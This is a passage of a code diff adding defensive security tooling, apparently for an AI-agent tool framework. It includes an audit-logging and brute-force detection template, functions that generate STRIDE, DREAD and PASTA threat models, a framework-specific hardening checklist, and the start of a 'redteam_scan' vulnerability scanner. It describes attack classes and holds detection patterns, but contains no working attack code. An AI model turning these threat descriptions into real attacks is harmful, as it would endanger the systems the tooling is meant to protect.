+ userAgent: req.headers['user-agent'] || 'unknown',
2136
+ resource: req.path,
2137
+ details: { limit: 5, window: '15m' },
2138
+ })
2139
+ \`\`\`
2140
+
2141
+ ### Audit Trail Middleware
2142
+
2143
+ \`\`\`typescript
2144
+ function auditTrail(req: Request, res: Response, next: NextFunction) {
2145
+ const startTime = Date.now()
2146
+
2147
+ res.on('finish', () => {
2148
+ const duration = Date.now() - startTime
2149
+ const entry = {
2150
+ method: req.method,
2151
+ path: req.path,
2152
+ statusCode: res.statusCode,
2153
+ duration,
2154
+ ip: req.ip,
2155
+ userId: (req as any).user?.id,
2156
+ userAgent: req.headers['user-agent'],
2157
+ }
2158
+
2159
+ // Log all non-GET requests and all auth failures
2160
+ if (req.method !== 'GET' || res.statusCode === 401 || res.statusCode === 403) {
2161
+ securityLogger.info('audit', entry)
2162
+ }
2163
+ })
2164
+
2165
+ next()
2166
+ }
2167
+
2168
+ app.use(auditTrail)
2169
+ \`\`\`
2170
+
2171
+ ### Anomaly Detection Hooks
2172
+
2173
+ \`\`\`typescript
2174
+ // Track failed login attempts per IP
2175
+ const failedAttempts = new Map<string, { count: number; firstAt: number }>()
2176
+
2177
+ function detectBruteForce(ip: string): boolean {
2178
+ const now = Date.now()
2179
+ const window = 15 * 60 * 1000 // 15 minutes
2180
+ const threshold = 10
2181
+
2182
+ const record = failedAttempts.get(ip)
2183
+ if (!record || now - record.firstAt > window) {
2184
+ failedAttempts.set(ip, { count: 1, firstAt: now })
2185
+ return false
2186
+ }
2187
+
2188
+ record.count++
2189
+ if (record.count >= threshold) {
2190
+ logSecurityEvent({
2191
+ event: 'suspicious.activity',
2192
+ ip,
2193
+ userAgent: 'system',
2194
+ details: {
2195
+ type: 'brute_force',
2196
+ attempts: record.count,
2197
+ window: '15m',
2198
+ action: 'ip_blocked',
2199
+ },
2200
+ })
2201
+ return true
2202
+ }
2203
+ return false
2204
+ }
2205
+
2206
+ // Track impossible travel (same user, different geolocations)
2207
+ function detectImpossibleTravel(userId: string, currentIp: string, lastIp: string, lastLoginAt: Date): boolean {
2208
+ // Implementation would use a GeoIP database
2209
+ // Flag if user logs in from two distant locations within a short time
2210
+ return false // placeholder
2211
+ }
2212
+ \`\`\`
2213
+ `;
2214
+ }
2215
+ function analyzeSTRIDE(files, baseDir) {
2216
+ const threats = [];
2217
+ // Analyze file structure for data flows and trust boundaries
2218
+ const hasAuth = files.some(f => /(?:auth|login|session|jwt|passport|oauth)/i.test(f.path));
2219
+ const hasApi = files.some(f => /(?:api|route|endpoint|controller|handler)/i.test(f.path));
2220
+ const hasDb = files.some(f => /(?:database|db|model|schema|migration|prisma|drizzle|sequelize|knex)/i.test(f.path));
2221
+ const hasFileUpload = files.some(f => /(?:upload|multer|formidable|busboy)/i.test(f.content));
2222
+ const hasPayments = files.some(f => /(?:stripe|payment|billing|invoice|checkout)/i.test(f.content));
2223
+ const hasWebSocket = files.some(f => /(?:websocket|socket\.io|ws\.|wss:)/i.test(f.content));
2224
+ const hasEmail = files.some(f => /(?:nodemailer|sendgrid|ses|smtp|email)/i.test(f.content));
2225
+ const hasCrypto = files.some(f => /(?:encrypt|decrypt|cipher|hash|sign|verify)/i.test(f.content));
2226
+ const hasExternalApi = files.some(f => /(?:fetch|axios|got|request|http\.get)/i.test(f.content));
2227
+ const hasAdmin = files.some(f => /(?:admin|dashboard|manage|panel|backoffice)/i.test(f.path));
2228
+ const hasDocker = files.some(f => f.path.toLowerCase().includes('docker'));
2229
+ const hasCi = files.some(f => /(?:\.github\/workflows|\.gitlab-ci|jenkinsfile|\.circleci)/i.test(f.path));
2230
+ // S — Spoofing
2231
+ if (hasAuth) {
2232
+ threats.push({
2233
+ category: 'Spoofing',
2234
+ threat: 'Identity Spoofing via Credential Theft',
2235
+ description: 'Attacker steals or guesses user credentials to impersonate legitimate users',
2236
+ affected: files.filter(f => /(?:auth|login|session)/i.test(f.path)).map(f => relative(baseDir, f.path)),
2237
+ severity: 'high',
2238
+ mitigation: 'Implement MFA, use strong password policies, implement account lockout after failed attempts',
2239
+ });
2240
+ threats.push({
2241
+ category: 'Spoofing',
2242
+ threat: 'Session Hijacking',
2243
+ description: 'Attacker steals session tokens via XSS, network sniffing, or cookie theft',
2244
+ affected: files.filter(f => /(?:session|cookie|token)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
2245
+ severity: 'high',
2246
+ mitigation: 'Use httpOnly, secure, sameSite cookies. Implement session rotation. Use short-lived tokens.',
2247
+ });
2248
+ }
2249
+ if (hasApi) {
2250
+ threats.push({
2251
+ category: 'Spoofing',
2252
+ threat: 'API Key Impersonation',
2253
+ description: 'Attacker uses leaked or stolen API keys to access protected endpoints',
2254
+ affected: files.filter(f => /(?:api|route|endpoint)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
2255
+ severity: 'high',
2256
+ mitigation: 'Rotate API keys regularly. Use scoped keys with minimum permissions. Monitor for anomalous usage.',
2257
+ });
2258
+ }
2259
+ if (hasEmail) {
2260
+ threats.push({
2261
+ category: 'Spoofing',
2262
+ threat: 'Email Spoofing / Phishing',
2263
+ description: 'Attacker sends emails appearing to be from the application to trick users',
2264
+ affected: files.filter(f => /(?:email|mail|smtp)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 3),
2265
+ severity: 'medium',
2266
+ mitigation: 'Configure SPF, DKIM, DMARC for email domain. Validate sender addresses.',
2267
+ });
2268
+ }
2269
+ // T — Tampering
2270
+ if (hasDb) {
2271
+ threats.push({
2272
+ category: 'Tampering',
2273
+ threat: 'Database Record Manipulation',
2274
+ description: 'Attacker modifies database records through SQL injection or direct access',
2275
+ affected: files.filter(f => /(?:database|db|model|schema|query)/i.test(f.path) || /(?:query|sql|select|insert|update|delete)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
2276
+ severity: 'critical',
2277
+ mitigation: 'Use parameterized queries. Implement row-level security. Enable audit logging on all tables.',
2278
+ });
2279
+ }
2280
+ if (hasApi) {
2281
+ threats.push({
2282
+ category: 'Tampering',
2283
+ threat: 'API Request Tampering',
2284
+ description: 'Attacker modifies request parameters, headers, or body to bypass validation',
2285
+ affected: files.filter(f => /(?:api|route|endpoint|controller)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
2286
+ severity: 'high',
2287
+ mitigation: 'Validate all inputs server-side with schema validation (zod). Never trust client-side validation alone.',
2288
+ });
2289
+ }
2290
+ if (hasFileUpload) {
2291
+ threats.push({
2292
+ category: 'Tampering',
2293
+ threat: 'Malicious File Upload',
2294
+ description: 'Attacker uploads executable files, web shells, or files with manipulated headers',
2295
+ affected: files.filter(f => /(?:upload|multer|formidable)/i.test(f.content)).map(f => relative(baseDir, f.path)),
2296
+ severity: 'high',
2297
+ mitigation: 'Validate file type by magic bytes. Restrict extensions. Store outside webroot. Scan for malware.',
2298
+ });
2299
+ }
2300
+ if (hasCi) {
2301
+ threats.push({
2302
+ category: 'Tampering',
2303
+ threat: 'CI/CD Pipeline Tampering',
2304
+ description: 'Attacker modifies CI/CD configuration or injects malicious build steps',
2305
+ affected: files.filter(f => /(?:\.github\/workflows|\.gitlab-ci|jenkinsfile)/i.test(f.path)).map(f => relative(baseDir, f.path)),
2306
+ severity: 'critical',
2307
+ mitigation: 'Require PR reviews for CI config changes. Pin action/image versions. Use signed commits.',
2308
+ });
2309
+ }
2310
+ // R — Repudiation
2311
+ if (hasAuth || hasApi) {
2312
+ threats.push({
2313
+ category: 'Repudiation',
2314
+ threat: 'Insufficient Audit Logging',
2315
+ description: 'Lack of comprehensive logging makes it impossible to trace malicious actions',
2316
+ affected: ['application-wide'],
2317
+ severity: 'medium',
2318
+ mitigation: 'Implement structured security logging. Log all auth events, data modifications, and admin actions with timestamps, user IDs, and IP addresses.',
2319
+ });
2320
+ }
2321
+ if (hasPayments) {
2322
+ threats.push({
2323
+ category: 'Repudiation',
2324
+ threat: 'Transaction Repudiation',
2325
+ description: 'User denies making a financial transaction due to lack of proof',
2326
+ affected: files.filter(f => /(?:payment|billing|invoice|transaction)/i.test(f.content)).map(f => relative(baseDir, f.path)),
2327
+ severity: 'high',
2328
+ mitigation: 'Log all transactions with full audit trail. Use digital signatures for critical operations. Store transaction receipts.',
2329
+ });
2330
+ }
2331
+ // I — Information Disclosure
2332
+ threats.push({
2333
+ category: 'Information Disclosure',
2334
+ threat: 'Sensitive Data Exposure via Error Messages',
2335
+ description: 'Application leaks internal details through error messages, stack traces, or debug output',
2336
+ affected: ['application-wide'],
2337
+ severity: 'medium',
2338
+ mitigation: 'Use generic error messages in production. Log detailed errors server-side only. Disable debug mode.',
2339
+ });
2340
+ if (hasDb) {
2341
+ threats.push({
2342
+ category: 'Information Disclosure',
2343
+ threat: 'Database Credential Exposure',
2344
+ description: 'Database connection strings or credentials leaked through source code, logs, or config files',
2345
+ affected: files.filter(f => /(?:database|db|\.env|config)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
2346
+ severity: 'critical',
2347
+ mitigation: 'Store credentials in environment variables or secrets manager. Never commit .env files.',
2348
+ });
2349
+ }
2350
+ if (hasCrypto) {
2351
+ threats.push({
2352
+ category: 'Information Disclosure',
2353
+ threat: 'Cryptographic Key Exposure',
2354
+ description: 'Encryption keys leaked through source code, logs, or insecure storage',
2355
+ affected: files.filter(f => /(?:key|secret|encrypt|cipher)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
2356
+ severity: 'critical',
2357
+ mitigation: 'Use key management services (AWS KMS, Vault). Never hardcode keys. Rotate regularly.',
2358
+ });
2359
+ }
2360
+ if (hasExternalApi) {
2361
+ threats.push({
2362
+ category: 'Information Disclosure',
2363
+ threat: 'Data Leakage to Third Parties',
2364
+ description: 'Sensitive user data inadvertently sent to external APIs or analytics services',
2365
+ affected: files.filter(f => /(?:fetch|axios|analytics|tracking)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
2366
+ severity: 'medium',
2367
+ mitigation: 'Audit all external API calls. Minimize data sent. Review third-party privacy policies.',
2368
+ });
2369
+ }
2370
+ // D — Denial of Service
2371
+ if (hasApi) {
2372
+ threats.push({
2373
+ category: 'Denial of Service',
2374
+ threat: 'API Rate Limit Bypass',
2375
+ description: 'Attacker overwhelms API endpoints with excessive requests',
2376
+ affected: files.filter(f => /(?:api|route|endpoint)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
2377
+ severity: 'high',
2378
+ mitigation: 'Implement rate limiting per IP and per user. Use CDN for static assets. Add request size limits.',
2379
+ });
2380
+ }
2381
+ if (hasFileUpload) {
2382
+ threats.push({
2383
+ category: 'Denial of Service',
2384
+ threat: 'Resource Exhaustion via Large Uploads',
2385
+ description: 'Attacker uploads extremely large files to exhaust disk space or memory',
2386
+ affected: files.filter(f => /(?:upload|multer|formidable)/i.test(f.content)).map(f => relative(baseDir, f.path)),
2387
+ severity: 'medium',
2388
+ mitigation: 'Set strict file size limits. Use streaming uploads. Implement disk quotas per user.',
2389
+ });
2390
+ }
2391
+ if (hasWebSocket) {
2392
+ threats.push({
2393
+ category: 'Denial of Service',
2394
+ threat: 'WebSocket Flood',
2395
+ description: 'Attacker opens many WebSocket connections or sends rapid messages',
2396
+ affected: files.filter(f => /(?:websocket|socket\.io|ws)/i.test(f.content)).map(f => relative(baseDir, f.path)),
2397
+ severity: 'medium',
2398
+ mitigation: 'Limit connections per IP. Implement message rate limiting. Add heartbeat/timeout.',
2399
+ });
2400
+ }
2401
+ threats.push({
2402
+ category: 'Denial of Service',
2403
+ threat: 'Regular Expression Denial of Service (ReDoS)',
2404
+ description: 'User-supplied input causes catastrophic regex backtracking',
2405
+ affected: ['application-wide — any regex processing user input'],
2406
+ severity: 'medium',
2407
+ mitigation: 'Avoid user input in regex construction. Use RE2 engine. Set execution timeouts.',
2408
+ });
2409
+ // E — Elevation of Privilege
2410
+ if (hasAuth && hasAdmin) {
2411
+ threats.push({
2412
+ category: 'Elevation of Privilege',
2413
+ threat: 'Horizontal Privilege Escalation',
2414
+ description: 'User accesses resources belonging to another user of the same role',
2415
+ affected: files.filter(f => /(?:api|route|controller)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
2416
+ severity: 'high',
2417
+ mitigation: 'Always check resource ownership. Use row-level security. Never rely on client-provided user IDs.',
2418
+ });
2419
+ threats.push({
2420
+ category: 'Elevation of Privilege',
2421
+ threat: 'Vertical Privilege Escalation (User to Admin)',
2422
+ description: 'Regular user gains admin access through role manipulation or IDOR',
2423
+ affected: files.filter(f => /(?:admin|role|permission|rbac)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
2424
+ severity: 'critical',
2425
+ mitigation: 'Validate roles server-side on every request. Use RBAC with principle of least privilege. Audit role changes.',
2426
+ });
2427
+ }
2428
+ if (hasDocker) {
2429
+ threats.push({
2430
+ category: 'Elevation of Privilege',
2431
+ threat: 'Container Escape',
2432
+ description: 'Attacker escapes Docker container to access host system',
2433
+ affected: files.filter(f => /docker/i.test(f.path)).map(f => relative(baseDir, f.path)),
2434
+ severity: 'critical',
2435
+ mitigation: 'Use non-root user in containers. Drop capabilities. Use read-only filesystem. Enable seccomp/AppArmor.',
2436
+ });
2437
+ }
2438
+ threats.push({
2439
+ category: 'Elevation of Privilege',
2440
+ threat: 'Dependency Hijacking',
2441
+ description: 'Attacker compromises a dependency to execute malicious code in the application context',
2442
+ affected: ['package.json', 'package-lock.json'],
2443
+ severity: 'high',
2444
+ mitigation: 'Pin dependencies. Use lock files. Run npm audit. Enable Dependabot/Renovate. Verify package integrity.',
2445
+ });
2446
+ return threats;
2447
+ }
2448
+ function analyzeDREAD(files, baseDir) {
2449
+ // DREAD: Damage, Reproducibility, Exploitability, Affected Users, Discoverability
2450
+ // We reuse STRIDE findings but score them with DREAD metrics
2451
+ const strideThreats = analyzeSTRIDE(files, baseDir);
2452
+ // Add DREAD scoring context to descriptions
2453
+ return strideThreats.map(t => ({
2454
+ ...t,
2455
+ description: `${t.description}\n\n**DREAD Score**: Damage=${dreadScore(t.severity, 'damage')}/10, Reproducibility=${dreadScore(t.severity, 'repro')}/10, Exploitability=${dreadScore(t.severity, 'exploit')}/10, Affected Users=${dreadScore(t.severity, 'affected')}/10, Discoverability=${dreadScore(t.severity, 'discover')}/10`,
2456
+ }));
2457
+ }
2458
+ function dreadScore(severity, dimension) {
2459
+ const base = { critical: 9, high: 7, medium: 5, low: 3 };
2460
+ const s = base[severity] || 5;
2461
+ switch (dimension) {
2462
+ case 'damage': return s;
2463
+ case 'repro': return Math.min(10, s + 1);
2464
+ case 'exploit': return Math.max(1, s - 1);
2465
+ case 'affected': return s;
2466
+ case 'discover': return Math.min(10, s + 2);
2467
+ default: return s;
2468
+ }
2469
+ }
2470
+ function analyzePASTA(files, baseDir) {
2471
+ // PASTA: Process for Attack Simulation and Threat Analysis
2472
+ // 7 stages: Define Objectives, Define Technical Scope, App Decomposition,
2473
+ // Threat Analysis, Vulnerability Analysis, Attack Modeling, Risk Analysis
2474
+ const strideThreats = analyzeSTRIDE(files, baseDir);
2475
+ // Enrich with PASTA-specific context
2476
+ const hasPackageJson = files.some(f => f.path.endsWith('package.json'));
2477
+ const techStack = [];
2478
+ if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
2479
+ techStack.push('TypeScript');
2480
+ if (files.some(f => f.ext === '.py'))
2481
+ techStack.push('Python');
2482
+ if (files.some(f => f.ext === '.go'))
2483
+ techStack.push('Go');
2484
+ if (files.some(f => f.ext === '.java'))
2485
+ techStack.push('Java');
2486
+ if (files.some(f => f.ext === '.rb'))
2487
+ techStack.push('Ruby');
2488
+ if (files.some(f => f.ext === '.rs'))
2489
+ techStack.push('Rust');
2490
+ if (files.some(f => f.ext === '.php'))
2491
+ techStack.push('PHP');
2492
+ if (files.some(f => /react|jsx|tsx/i.test(f.path)))
2493
+ techStack.push('React');
2494
+ if (files.some(f => /express/i.test(f.content)))
2495
+ techStack.push('Express.js');
2496
+ if (files.some(f => /next/i.test(f.path)))
2497
+ techStack.push('Next.js');
2498
+ if (files.some(f => /django/i.test(f.content)))
2499
+ techStack.push('Django');
2500
+ if (files.some(f => /flask/i.test(f.content)))
2501
+ techStack.push('Flask');
2502
+ if (files.some(f => /fastify/i.test(f.content)))
2503
+ techStack.push('Fastify');
2504
+ // Add PASTA stage context
2505
+ const pastaThreats = [
2506
+ {
2507
+ category: 'PASTA Stage 1 — Business Objectives',
2508
+ threat: 'Business Impact Assessment',
2509
+ description: `Application uses: ${techStack.join(', ') || 'unknown stack'}. Total files scanned: ${files.length}. Threat analysis identifies ${strideThreats.length} potential threats across ${new Set(strideThreats.map(t => t.category)).size} categories.`,
2510
+ affected: ['application-wide'],
2511
+ severity: 'info',
2512
+ mitigation: 'Review each threat against business risk tolerance. Prioritize based on business impact.',
2513
+ },
2514
+ {
2515
+ category: 'PASTA Stage 2 — Technical Scope',
2516
+ threat: 'Attack Surface Enumeration',
2517
+ description: `Tech stack: ${techStack.join(', ')}. Entry points: API routes, WebSocket handlers, file uploads, authentication endpoints, admin panels.`,
2518
+ affected: ['application-wide'],
2519
+ severity: 'info',
2520
+ mitigation: 'Map all entry points and data flows. Identify trust boundaries between components.',
2521
+ },
2522
+ ...strideThreats,
2523
+ ];
2524
+ return pastaThreats;
2525
+ }
2526
+ // ── Security Checklist Generators ──────────────────────────────────────────────
2527
+ function generateChecklist(framework) {
2528
+ const lines = ['# Security Hardening Checklist', ''];
2529
+ // Universal checks
2530
+ lines.push('## 1. Authentication & Authorization');
2531
+ lines.push('- [ ] All endpoints require authentication (except public routes)');
2532
+ lines.push('- [ ] Role-based access control (RBAC) implemented');
2533
+ lines.push('- [ ] Password minimum length >= 12 characters');
2534
+ lines.push('- [ ] Password complexity requirements enforced');
2535
+ lines.push('- [ ] Account lockout after 5 failed login attempts');
2536
+ lines.push('- [ ] MFA available and encouraged');
2537
+ lines.push('- [ ] Session timeout configured (max 24h, 15min for idle)');
2538
+ lines.push('- [ ] Session regeneration after login');
2539
+ lines.push('- [ ] Password reset via secure token (not email link with password)');
2540
+ lines.push('- [ ] OAuth/OIDC state parameter validated');
2541
+ lines.push('- [ ] JWT: no "none" algorithm, short expiry, proper validation');
2542
+ lines.push('- [ ] API keys: scoped, rotatable, hashed in storage');
2543
+ lines.push('');
2544
+ lines.push('## 2. Input Validation & Output Encoding');
2545
+ lines.push('- [ ] All user input validated server-side (never trust client)');
2546
+ lines.push('- [ ] Schema validation on all API endpoints (zod/joi/ajv)');
2547
+ lines.push('- [ ] Parameterized queries for ALL database operations');
2548
+ lines.push('- [ ] Output encoding for HTML, JavaScript, URL, CSS contexts');
2549
+ lines.push('- [ ] File upload: type validation by magic bytes, size limits');
2550
+ lines.push('- [ ] URL validation for redirects (allowlist domains)');
2551
+ lines.push('- [ ] HTML sanitization for any user-generated rich content');
2552
+ lines.push('- [ ] JSON schema validation for webhook payloads');
2553
+ lines.push('- [ ] Request size limits configured');
2554
+ lines.push('');
2555
+ lines.push('## 3. Security Headers');
2556
+ lines.push('- [ ] Content-Security-Policy (CSP) configured');
2557
+ lines.push('- [ ] Strict-Transport-Security (HSTS) with preload');
2558
+ lines.push('- [ ] X-Content-Type-Options: nosniff');
2559
+ lines.push('- [ ] X-Frame-Options: DENY (or CSP frame-ancestors)');
2560
+ lines.push('- [ ] Referrer-Policy: strict-origin-when-cross-origin');
2561
+ lines.push('- [ ] Permissions-Policy (disable unused browser features)');
2562
+ lines.push('- [ ] X-Powered-By header removed');
2563
+ lines.push('- [ ] Server header removed or generic');
2564
+ lines.push('');
2565
+ lines.push('## 4. Cryptography');
2566
+ lines.push('- [ ] Passwords hashed with bcrypt/argon2id (not MD5/SHA)');
2567
+ lines.push('- [ ] Encryption at rest for sensitive data (AES-256-GCM)');
2568
+ lines.push('- [ ] TLS 1.2+ enforced for all connections');
2569
+ lines.push('- [ ] No hardcoded encryption keys or IVs');
2570
+ lines.push('- [ ] Secure random generation (crypto.randomBytes, not Math.random)');
2571
+ lines.push('- [ ] Timing-safe comparison for tokens/signatures');
2572
+ lines.push('- [ ] Certificate pinning for critical API connections');
2573
+ lines.push('- [ ] Key rotation policy in place');
2574
+ lines.push('');
2575
+ lines.push('## 5. Error Handling & Logging');
2576
+ lines.push('- [ ] Generic error messages to users (no stack traces)');
2577
+ lines.push('- [ ] Detailed errors logged server-side only');
2578
+ lines.push('- [ ] Security events logged (auth, access denied, rate limits)');
2579
+ lines.push('- [ ] Audit trail for data modifications');
2580
+ lines.push('- [ ] Log injection prevention (sanitize log inputs)');
2581
+ lines.push('- [ ] No sensitive data in logs (passwords, tokens, PII)');
2582
+ lines.push('- [ ] Log retention and rotation policy');
2583
+ lines.push('- [ ] Alerting on suspicious patterns');
2584
+ lines.push('');
2585
+ lines.push('## 6. Rate Limiting & DoS Prevention');
2586
+ lines.push('- [ ] Global rate limiting on all endpoints');
2587
+ lines.push('- [ ] Strict rate limiting on auth endpoints (5 per 15min)');
2588
+ lines.push('- [ ] Request body size limits');
2589
+ lines.push('- [ ] File upload size limits');
2590
+ lines.push('- [ ] Pagination limits (max page size)');
2591
+ lines.push('- [ ] Query complexity limits (GraphQL depth, width)');
2592
+ lines.push('- [ ] WebSocket message rate limiting');
2593
+ lines.push('- [ ] Slow-loris protection (connection timeouts)');
2594
+ lines.push('');
2595
+ lines.push('## 7. CORS & CSRF');
2596
+ lines.push('- [ ] CORS: specific origins (no wildcard with credentials)');
2597
+ lines.push('- [ ] CORS: only necessary methods and headers allowed');
2598
+ lines.push('- [ ] CSRF tokens for state-changing requests');
2599
+ lines.push('- [ ] SameSite cookie attribute set to Strict or Lax');
2600
+ lines.push('- [ ] Origin/Referer header validation');
2601
+ lines.push('');
2602
+ lines.push('## 8. Dependency Management');
2603
+ lines.push('- [ ] Lock file committed (package-lock.json / yarn.lock)');
2604
+ lines.push('- [ ] Regular dependency audits (npm audit / snyk)');
2605
+ lines.push('- [ ] Automated dependency updates (Dependabot / Renovate)');
2606
+ lines.push('- [ ] No known critical/high CVEs in dependencies');
2607
+ lines.push('- [ ] Pinned versions for CI/CD tooling');
2608
+ lines.push('- [ ] Supply chain verification (npm provenance)');
2609
+ lines.push('');
2610
+ lines.push('## 9. Secrets Management');
2611
+ lines.push('- [ ] No secrets in source code (scan with gitleaks/trufflehog)');
2612
+ lines.push('- [ ] .env files in .gitignore');
2613
+ lines.push('- [ ] Environment variables for all configuration');
2614
+ lines.push('- [ ] Secrets manager for production (AWS SM, Vault, Doppler)');
2615
+ lines.push('- [ ] Secret rotation policy');
2616
+ lines.push('- [ ] Different secrets per environment (dev/staging/prod)');
2617
+ lines.push('');
2618
+ lines.push('## 10. Infrastructure & Deployment');
2619
+ lines.push('- [ ] HTTPS everywhere (redirect HTTP to HTTPS)');
2620
+ lines.push('- [ ] Production debug mode disabled');
2621
+ lines.push('- [ ] Source maps disabled in production (or access-restricted)');
2622
+ lines.push('- [ ] Database not publicly accessible');
2623
+ lines.push('- [ ] Firewall rules: minimum necessary ports');
2624
+ lines.push('- [ ] Container: non-root user, read-only filesystem');
2625
+ lines.push('- [ ] CI/CD: pinned actions, no secrets in logs');
2626
+ lines.push('- [ ] Backup and disaster recovery tested');
2627
+ lines.push('');
2628
+ // Framework-specific checks
2629
+ if (framework === 'express') {
2630
+ lines.push('## Express.js Specific');
2631
+ lines.push('- [ ] helmet() middleware installed and configured');
2632
+ lines.push('- [ ] express-rate-limit on auth routes');
2633
+ lines.push('- [ ] cors() with specific origins');
2634
+ lines.push('- [ ] cookie-parser with signed cookies');
2635
+ lines.push('- [ ] express-session with secure store (Redis/Postgres)');
2636
+ lines.push('- [ ] body-parser limits configured ({ limit: "1mb" })');
2637
+ lines.push('- [ ] trust proxy configured correctly for reverse proxy');
2638
+ lines.push('- [ ] Error handling middleware (no default stack traces)');
2639
+ lines.push('- [ ] No express-validator bypasses');
2640
+ lines.push('- [ ] Disable x-powered-by: app.disable("x-powered-by")');
2641
+ lines.push('');
2642
+ }
2643
+ if (framework === 'nextjs') {
2644
+ lines.push('## Next.js Specific');
2645
+ lines.push('- [ ] Security headers in next.config.js');
2646
+ lines.push('- [ ] API routes: validate authentication');
2647
+ lines.push('- [ ] Server Components: no client data leaks');
2648
+ lines.push('- [ ] Middleware: auth check before page render');
2649
+ lines.push('- [ ] Environment variables: NEXT_PUBLIC_ only for safe values');
2650
+ lines.push('- [ ] Image optimization: restrict domains');
2651
+ lines.push('- [ ] rewrites/redirects: no open redirect patterns');
2652
+ lines.push('- [ ] getServerSideProps: validate user session');
2653
+ lines.push('- [ ] Server Actions: validate input, check auth');
2654
+ lines.push('- [ ] No sensitive data in client bundles');
2655
+ lines.push('');
2656
+ }
2657
+ if (framework === 'fastify') {
2658
+ lines.push('## Fastify Specific');
2659
+ lines.push('- [ ] @fastify/helmet registered');
2660
+ lines.push('- [ ] @fastify/rate-limit on auth routes');
2661
+ lines.push('- [ ] @fastify/cors with specific origins');
2662
+ lines.push('- [ ] @fastify/csrf-protection enabled');
2663
+ lines.push('- [ ] @fastify/secure-session configured');
2664
+ lines.push('- [ ] JSON schema validation on all routes');
2665
+ lines.push('- [ ] bodyLimit configured (default 1MB)');
2666
+ lines.push('- [ ] Error serializer: no stack traces in production');
2667
+ lines.push('- [ ] Trust proxy configured for reverse proxy');
2668
+ lines.push('');
2669
+ }
2670
+ if (framework === 'django') {
2671
+ lines.push('## Django Specific');
2672
+ lines.push('- [ ] DEBUG = False in production');
2673
+ lines.push('- [ ] SECRET_KEY from environment variable (not hardcoded)');
2674
+ lines.push('- [ ] ALLOWED_HOSTS configured');
2675
+ lines.push('- [ ] CSRF_COOKIE_SECURE = True');
2676
+ lines.push('- [ ] SESSION_COOKIE_SECURE = True');
2677
+ lines.push('- [ ] SESSION_COOKIE_HTTPONLY = True');
2678
+ lines.push('- [ ] SECURE_BROWSER_XSS_FILTER = True');
2679
+ lines.push('- [ ] SECURE_CONTENT_TYPE_NOSNIFF = True');
2680
+ lines.push('- [ ] SECURE_HSTS_SECONDS configured');
2681
+ lines.push('- [ ] SECURE_SSL_REDIRECT = True');
2682
+ lines.push('- [ ] SecurityMiddleware enabled');
2683
+ lines.push('- [ ] django.contrib.admin URL randomized');
2684
+ lines.push('- [ ] ORM used (no raw SQL with user input)');
2685
+ lines.push('- [ ] manage.py check --deploy passes');
2686
+ lines.push('');
2687
+ }
2688
+ if (framework === 'flask') {
2689
+ lines.push('## Flask Specific');
2690
+ lines.push('- [ ] app.debug = False in production');
2691
+ lines.push('- [ ] SECRET_KEY from environment variable');
2692
+ lines.push('- [ ] Flask-Talisman for security headers');
2693
+ lines.push('- [ ] Flask-WTF for CSRF protection');
2694
+ lines.push('- [ ] Flask-Limiter for rate limiting');
2695
+ lines.push('- [ ] Session cookie: httponly, secure, samesite');
2696
+ lines.push('- [ ] SQLAlchemy parameterized queries (no raw SQL)');
2697
+ lines.push('- [ ] Jinja2 auto-escaping enabled (default)');
2698
+ lines.push('- [ ] No render_template_string with user input');
2699
+ lines.push('- [ ] Blueprint-level auth decorators');
2700
+ lines.push('');
2701
+ }
2702
+ if (framework === 'rails') {
2703
+ lines.push('## Ruby on Rails Specific');
2704
+ lines.push('- [ ] config.force_ssl = true');
2705
+ lines.push('- [ ] secret_key_base from environment');
2706
+ lines.push('- [ ] Strong Parameters on all controllers');
2707
+ lines.push('- [ ] CSRF protection: protect_from_forgery');
2708
+ lines.push('- [ ] Content Security Policy configured');
2709
+ lines.push('- [ ] ActiveRecord: parameterized queries (no .where with string)');
2710
+ lines.push('- [ ] Brakeman scan passing');
2711
+ lines.push('- [ ] Mass assignment protection');
2712
+ lines.push('- [ ] Cookie: secure, httponly, same_site: :strict');
2713
+ lines.push('- [ ] Action Cable: authenticate connections');
2714
+ lines.push('- [ ] config.action_dispatch.default_headers configured');
2715
+ lines.push('');
2716
+ }
2717
+ return lines.join('\n');
2718
+ }
2719
+ // ── Tool Registration ──────────────────────────────────────────────────────────
2720
+ export function registerRedBlueTools() {
2721
+ // ─── Tool 1: Red Team Scan ───────────────────────────────────────────────────
2722
+ registerTool({
2723
+ name: 'redteam_scan',
2724
+ description: 'Red team: scan a codebase for vulnerabilities. Reads source files and pattern-matches for secrets, injection vectors, auth issues, crypto weaknesses, dependency vulnerabilities, and configuration problems. Thinks like an attacker. Returns findings with severity, file, line, evidence, exploitation scenario, and CWE ID.',
2725
+ parameters: {
2726
+ path: { type: 'string', description: 'Directory to scan (default: current directory)' },
2727
+ focus: { type: 'string', description: 'Scan focus: "secrets", "injection", "auth", "crypto", "deps", "config", "all" (default: "all")' },
2728
+ depth: { type: 'string', description: 'Scan depth: "quick" (~200 files), "standard" (~1000 files), "deep" (~5000 files). Default: "standard"' },
2729
+ },
2730
+ tier: 'free',
2731
+ timeout: 120_000,
2732
+ async execute(args) {
2733
+ const scanPath = resolvePath(String(args.path || '.'));
2734
+ const focus = String(args.focus || 'all').toLowerCase();
2735
+ const depth = String(args.depth || 'standard').toLowerCase();
2736
+ if (!existsSync(scanPath)) {
2737
+ return `Error: Path does not exist: ${scanPath}`;
2738
+ }
2739
+ const maxFiles = depth === 'quick' ? MAX_FILES_QUICK : depth === 'deep' ? MAX_FILES_DEEP : MAX_FILES_STANDARD;
2740
+ const files = collectFiles(scanPath, maxFiles);
2741
+ if (files.length === 0) {
2742
+ return `No source files found in ${scanPath}. Check the path and ensure it contains code files.`;
2743
+ }
2744
+ const allFindings = [];
2745
+ const scanStart = Date.now();
2746
+ if (focus === 'all' || focus === 'secrets') {
2747
+ allFindings.push(...scanSecrets(files, scanPath));
2748
+ }
2749
+ if (focus === 'all' || focus === 'injection') {
2750
